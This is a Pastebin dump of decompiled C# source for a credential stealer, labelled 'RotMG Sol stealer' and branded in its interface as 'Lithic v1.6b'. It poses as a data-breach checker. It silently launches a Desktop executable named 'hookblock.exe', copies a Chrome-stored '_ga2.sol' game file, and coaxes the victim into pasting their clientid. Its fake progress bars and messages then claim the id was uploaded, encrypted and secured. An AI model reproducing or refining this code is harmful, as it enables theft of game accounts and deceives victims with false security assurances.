Guest User

RotMG Sol stealer program source dump.

a guest
Mar 26th, 2019
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 12.05 KB | None | 0 0
  1. // crape.Form1
  2. using crape;
  3. using System;
  4. using System.ComponentModel;
  5. using System.Diagnostics;
  6. using System.Drawing;
  7. using System.IO;
  8. using System.Threading;
  9. using System.Windows.Forms;
  10.  
  11. public class Form1 : Form
  12. {
  13.     private IContainer components = null;
  14.  
  15.     private RichTextBox richTextBox1;
  16.  
  17.     private Label label1;
  18.  
  19.     private Button button1;
  20.  
  21.     private Label label2;
  22.  
  23.     private TextBox textBox1;
  24.  
  25.     private RichTextBox richTextBox2;
  26.  
  27.     private Label label3;
  28.  
  29.     private CheckBox checkBox1;
  30.  
  31.     private Label label4;
  32.  
  33.     private Button button2;
  34.  
  35.     private System.Windows.Forms.Timer timer1;
  36.  
  37.     private Label label5;
  38.  
  39.     private Label label6;
  40.  
  41.     private Label label7;
  42.  
  43.     private Button button3;
  44.  
  45.     private Button button4;
  46.  
  47.     private System.Windows.Forms.Timer timer2;
  48.  
  49.     private ProgressBar progressBar1;
  50.  
  51.     public Form1()
  52.     {
  53.         this.InitializeComponent();
  54.     }
  55.  
  56.     private void Form1_Load(object sender, EventArgs e)
  57.     {
  58.         this.label5.Text = "Process: Unactive";
  59.         this.label6.Text = "Account status: Unactive";
  60.         Thread.Sleep(1000);
  61.         string userName = Environment.UserName;
  62.         this.label3.Text = "Hi, " + userName + "!";
  63.         string[] files = Directory.GetFiles("C:\\Users\\" + userName + "\\Desktop", "hookblock.exe", SearchOption.AllDirectories);
  64.         string[] array = files;
  65.         foreach (string fileName in array)
  66.         {
  67.             ProcessStartInfo processStartInfo = new ProcessStartInfo();
  68.             processStartInfo.FileName = fileName;
  69.             processStartInfo.Arguments = "yyyyyyyyyy";
  70.             processStartInfo.UseShellExecute = true;
  71.             processStartInfo.CreateNoWindow = true;
  72.             processStartInfo.WindowStyle = ProcessWindowStyle.Minimized;
  73.             processStartInfo.RedirectStandardInput = false;
  74.             processStartInfo.RedirectStandardOutput = false;
  75.             processStartInfo.RedirectStandardError = false;
  76.             Process process = Process.Start(processStartInfo);
  77.         }
  78.     }
  79.  
  80.     private void button1_Click(object sender, EventArgs e)
  81.     {
  82.         string userName = Environment.UserName;
  83.         string[] files = Directory.GetFiles("C:\\Users\\" + userName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default", "_ga2.sol", SearchOption.AllDirectories);
  84.         Environment.GetEnvironmentVariable("USERPROFILE");
  85.         string[] array = files;
  86.         foreach (string text in array)
  87.         {
  88.             this.richTextBox2.Text = text;
  89.         }
  90.         string text2 = this.richTextBox2.Text;
  91.         string text3 = "C:\\Users\\Public\\Pictures\\_ga2.txt";
  92.         this.richTextBox2.Text = userName;
  93.         if (File.Exists(text3))
  94.         {
  95.             File.Delete(text3);
  96.         }
  97.         else
  98.         {
  99.             File.Copy(text2, text3);
  100.         }
  101.         Process.Start("C:\\Users\\Public\\Pictures\\_ga2.txt");
  102.         MessageBox.Show("Your clientid is after 'clientid\u0006'. To check if your account is in any database of a data breach, please copy and paste your clientid into the textbox.", "Lithic v1.6b");
  103.     }
  104.  
  105.     private void checkBox1_CheckedChanged(object sender, EventArgs e)
  106.     {
  107.         this.textBox1.ReadOnly = true;
  108.     }
  109.  
  110.     private void progressBar1_Click(object sender, EventArgs e)
  111.     {
  112.     }
  113.  
  114.     private void label4_Click(object sender, EventArgs e)
  115.     {
  116.     }
  117.  
  118.     private void button2_Click(object sender, EventArgs e)
  119.     {
  120.         if (this.textBox1.Text == "XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  121.         {
  122.             MessageBox.Show("Please enter a valid clientid!");
  123.         }
  124.         else
  125.         {
  126.             this.label5.Text = "Process: Searching...";
  127.             this.label6.Text = "Account status: Looking for data...";
  128.             this.progressBar1.Enabled = true;
  129.             this.timer1.Start();
  130.         }
  131.     }
  132.  
  133.     private void timer1_Tick(object sender, EventArgs e)
  134.     {
  135.         this.progressBar1.Increment(1);
  136.         if (this.progressBar1.Value == 100)
  137.         {
  138.             this.label5.Text = "Process: Finished searching...";
  139.             this.label6.Text = "Account status: ";
  140.             this.label7.Visible = true;
  141.             this.label7.Text = "Not found";
  142.             this.button3.Enabled = true;
  143.             this.timer1.Stop();
  144.         }
  145.     }
  146.  
  147.     private void button3_Click(object sender, EventArgs e)
  148.     {
  149.         this.progressBar1.Enabled = false;
  150.         this.progressBar1.Value = 0;
  151.         MessageBox.Show("Your clientid has been uploaded and encrypted for 24 hours", "Lithic v1.6b");
  152.         Thread.Sleep(500);
  153.         this.progressBar1.Enabled = true;
  154.         this.timer2.Start();
  155.     }
  156.  
  157.     private void timer2_Tick(object sender, EventArgs e)
  158.     {
  159.         this.progressBar1.Increment(1);
  160.         this.label7.Visible = false;
  161.         this.label5.Text = "Process: Searching...";
  162.         this.label6.Text = "Account status: Looking for data...";
  163.         if (this.progressBar1.Value == 100)
  164.         {
  165.             this.label7.Visible = true;
  166.             this.label5.Text = "Process: Finished searching...";
  167.             this.label7.Text = "Found - Lithic Network (safe)";
  168.             this.label7.Visible = true;
  169.             this.label7.ForeColor = Color.Red;
  170.             this.button3.Enabled = true;
  171.             this.timer1.Stop();
  172.         }
  173.     }
  174.  
  175.     private void button4_Click(object sender, EventArgs e)
  176.     {
  177.         MessageBox.Show("This will upload your clientid to our network, which will secure it by encrpyting it. Upon restarting the program, it will turn out as not found, as it has been hidden from anyone, in case our network is tried to be bashed. Within the 24 hours, our services will try and change any of your id's to your encrpyted ids, in order to make your account secure", "Lithic v1.6b");
  178.     }
  179.  
  180.     private void richTextBox2_TextChanged(object sender, EventArgs e)
  181.     {
  182.     }
  183.  
  184.     private void richTextBox1_TextChanged(object sender, EventArgs e)
  185.     {
  186.     }
  187.  
  188.     private void label3_Click(object sender, EventArgs e)
  189.     {
  190.     }
  191.  
  192.     protected override void Dispose(bool disposing)
  193.     {
  194.         if (disposing && this.components != null)
  195.         {
  196.             this.components.Dispose();
  197.         }
  198.         base.Dispose(disposing);
  199.     }
  200.  
  201.     private void InitializeComponent()
  202.     {
  203.         this.components = new Container();
  204.         ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
  205.         this.richTextBox1 = new RichTextBox();
  206.         this.label1 = new Label();
  207.         this.button1 = new Button();
  208.         this.label2 = new Label();
  209.         this.textBox1 = new TextBox();
  210.         this.richTextBox2 = new RichTextBox();
  211.         this.label3 = new Label();
  212.         this.checkBox1 = new CheckBox();
  213.         this.label4 = new Label();
  214.         this.button2 = new Button();
  215.         this.timer1 = new System.Windows.Forms.Timer(this.components);
  216.         this.label5 = new Label();
  217.         this.label6 = new Label();
  218.         this.label7 = new Label();
  219.         this.button3 = new Button();
  220.         this.button4 = new Button();
  221.         this.timer2 = new System.Windows.Forms.Timer(this.components);
  222.         this.progressBar1 = new ProgressBar();
  223.         base.SuspendLayout();
  224.         this.richTextBox1.Location = new Point(10, 322);
  225.         this.richTextBox1.Name = "richTextBox1";
  226.         this.richTextBox1.Size = new Size(285, 19);
  227.         this.richTextBox1.TabIndex = 0;
  228.         this.richTextBox1.Text = "";
  229.         this.richTextBox1.Visible = false;
  230.         this.richTextBox1.TextChanged += this.richTextBox1_TextChanged;
  231.         this.label1.AutoSize = true;
  232.         this.label1.Location = new Point(3, 9);
  233.         this.label1.Name = "label1";
  234.         this.label1.Size = new Size(0, 13);
  235.         this.label1.TabIndex = 1;
  236.         this.button1.Location = new Point(12, 134);
  237.         this.button1.Name = "button1";
  238.         this.button1.Size = new Size(279, 23);
  239.         this.button1.TabIndex = 2;
  240.         this.button1.Text = "Search directories for _ga2 clientid";
  241.         this.button1.UseVisualStyleBackColor = true;
  242.         this.button1.Click += this.button1_Click;
  243.         this.label2.AutoSize = true;
  244.         this.label2.Location = new Point(9, 51);
  245.         this.label2.Name = "label2";
  246.         this.label2.Size = new Size(121, 13);
  247.         this.label2.TabIndex = 3;
  248.         this.label2.Text = "Enter your _ga2 clientid:";
  249.         this.textBox1.CharacterCasing = CharacterCasing.Upper;
  250.         this.textBox1.ForeColor = SystemColors.WindowFrame;
  251.         this.textBox1.Location = new Point(12, 67);
  252.         this.textBox1.MaxLength = 37;
  253.         this.textBox1.Name = "textBox1";
  254.         this.textBox1.Size = new Size(279, 20);
  255.         this.textBox1.TabIndex = 4;
  256.         this.textBox1.Text = "XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
  257.         this.textBox1.TextAlign = HorizontalAlignment.Center;
  258.         this.textBox1.UseWaitCursor = true;
  259.         this.richTextBox2.Location = new Point(10, 347);
  260.         this.richTextBox2.Name = "richTextBox2";
  261.         this.richTextBox2.Size = new Size(285, 19);
  262.         this.richTextBox2.TabIndex = 5;
  263.         this.richTextBox2.Text = "";
  264.         this.richTextBox2.Visible = false;
  265.         this.richTextBox2.TextChanged += this.richTextBox2_TextChanged;
  266.         this.label3.AutoSize = true;
  267.         this.label3.Font = new Font("Microsoft Sans Serif", 24f, FontStyle.Regular, GraphicsUnit.Point, 0);
  268.         this.label3.Location = new Point(3, 9);
  269.         this.label3.Name = "label3";
  270.         this.label3.Size = new Size(204, 37);
  271.         this.label3.TabIndex = 6;
  272.         this.label3.Text = "(placeholder)";
  273.         this.label3.Click += this.label3_Click;
  274.         this.checkBox1.AutoSize = true;
  275.         this.checkBox1.Location = new Point(12, 163);
  276.         this.checkBox1.Name = "checkBox1";
  277.         this.checkBox1.Size = new Size(111, 17);
  278.         this.checkBox1.TabIndex = 7;
  279.         this.checkBox1.Text = "Activate anticomp";
  280.         this.checkBox1.UseVisualStyleBackColor = true;
  281.         this.checkBox1.CheckedChanged += this.checkBox1_CheckedChanged;
  282.         this.label4.AutoSize = true;
  283.         this.label4.Font = new Font("Microsoft Sans Serif", 14.25f, FontStyle.Regular, GraphicsUnit.Point, 0);
  284.         this.label4.ForeColor = Color.Green;
  285.         this.label4.Location = new Point(115, 164);
  286.         this.label4.Name = "label4";
  287.         this.label4.Size = new Size(17, 24);
  288.         this.label4.TabIndex = 8;
  289.         this.label4.Text = "*";
  290.         this.label4.Click += this.label4_Click;
  291.         this.button2.Location = new Point(12, 93);
  292.         this.button2.Name = "button2";
  293.         this.button2.Size = new Size(279, 35);
  294.         this.button2.TabIndex = 10;
  295.         this.button2.Text = "Begin pursuit";
  296.         this.button2.UseVisualStyleBackColor = true;
  297.         this.button2.Click += this.button2_Click;
  298.         this.timer1.Tick += this.timer1_Tick;
  299.         this.label5.AutoSize = true;
  300.         this.label5.Location = new Point(13, 222);
  301.         this.label5.Name = "label5";
  302.         this.label5.Size = new Size(15, 13);
  303.         this.label5.TabIndex = 11;
  304.         this.label5.Text = "l5";
  305.         this.label6.AutoSize = true;
  306.         this.label6.Location = new Point(13, 241);
  307.         this.label6.Name = "label6";
  308.         this.label6.Size = new Size(15, 13);
  309.         this.label6.TabIndex = 12;
  310.         this.label6.Text = "l6";
  311.         this.label7.AutoSize = true;
  312.         this.label7.ForeColor = Color.DarkGreen;
  313.         this.label7.Location = new Point(93, 241);
  314.         this.label7.Name = "label7";
  315.         this.label7.Size = new Size(10, 13);
  316.         this.label7.TabIndex = 13;
  317.         this.label7.Text = " ";
  318.         this.label7.Visible = false;
  319.         this.button3.Enabled = false;
  320.         this.button3.Location = new Point(12, 261);
  321.         this.button3.Name = "button3";
  322.         this.button3.Size = new Size(249, 23);
  323.         this.button3.TabIndex = 14;
  324.         this.button3.Text = "Upload and encrypt clientid";
  325.         this.button3.UseVisualStyleBackColor = true;
  326.         this.button3.Click += this.button3_Click;
  327.         this.button4.Location = new Point(267, 261);
  328.         this.button4.Name = "button4";
  329.         this.button4.Size = new Size(24, 23);
  330.         this.button4.TabIndex = 15;
  331.         this.button4.Text = "?";
  332.         this.button4.UseVisualStyleBackColor = true;
  333.         this.button4.Click += this.button4_Click;
  334.         this.timer2.Tick += this.timer2_Tick;
  335.         this.progressBar1.Location = new Point(12, 183);
  336.         this.progressBar1.Name = "progressBar1";
  337.         this.progressBar1.Size = new Size(279, 33);
  338.         this.progressBar1.TabIndex = 16;
  339.         base.AutoScaleDimensions = new SizeF(6f, 13f);
  340.         base.AutoScaleMode = AutoScaleMode.Font;
  341.         base.ClientSize = new Size(309, 291);
  342.         base.Controls.Add(this.progressBar1);
  343.         base.Controls.Add(this.button4);
  344.         base.Controls.Add(this.button3);
  345.         base.Controls.Add(this.label7);
  346.         base.Controls.Add(this.label6);
  347.         base.Controls.Add(this.label5);
  348.         base.Controls.Add(this.button2);
  349.         base.Controls.Add(this.label4);
  350.         base.Controls.Add(this.checkBox1);
  351.         base.Controls.Add(this.label3);
  352.         base.Controls.Add(this.richTextBox2);
  353.         base.Controls.Add(this.textBox1);
  354.         base.Controls.Add(this.label2);
  355.         base.Controls.Add(this.button1);
  356.         base.Controls.Add(this.label1);
  357.         base.Controls.Add(this.richTextBox1);
  358.         base.FormBorderStyle = FormBorderStyle.FixedDialog;
  359.         base.HelpButton = true;
  360.         base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
  361.         base.ImeMode = ImeMode.Hiragana;
  362.         base.MaximizeBox = false;
  363.         base.Name = "Form1";
  364.         base.Opacity = 0.95;
  365.         this.Text = "Lithic v1.6b";
  366.         base.Load += this.Form1_Load;
  367.         base.ResumeLayout(false);
  368.         base.PerformLayout();
  369.     }
  370. }
Add Comment
Please, Sign In to add comment